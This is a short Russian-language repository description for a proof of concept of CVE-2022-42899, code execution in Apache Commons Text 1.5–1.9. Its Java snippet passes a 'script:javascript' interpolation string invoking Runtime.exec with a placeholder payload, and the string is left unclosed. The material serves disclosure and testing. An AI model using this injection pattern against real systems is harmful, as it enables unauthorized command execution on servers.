iamsanjay/cve-2022-42899Эксплойт для проверки концепции уязвимости CVE-2022-42899, демонстрирующий удаленное выполнение кода в Apache Commons Text 1.5-1.9 через интерполяцию StringSubstitutor с полезными нагрузками script:javascript.
Apache Commons Text, начиная с версии 1.5 до 1.9, имеет уязвимость удаленного выполнения кода CVE-2022-42899.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'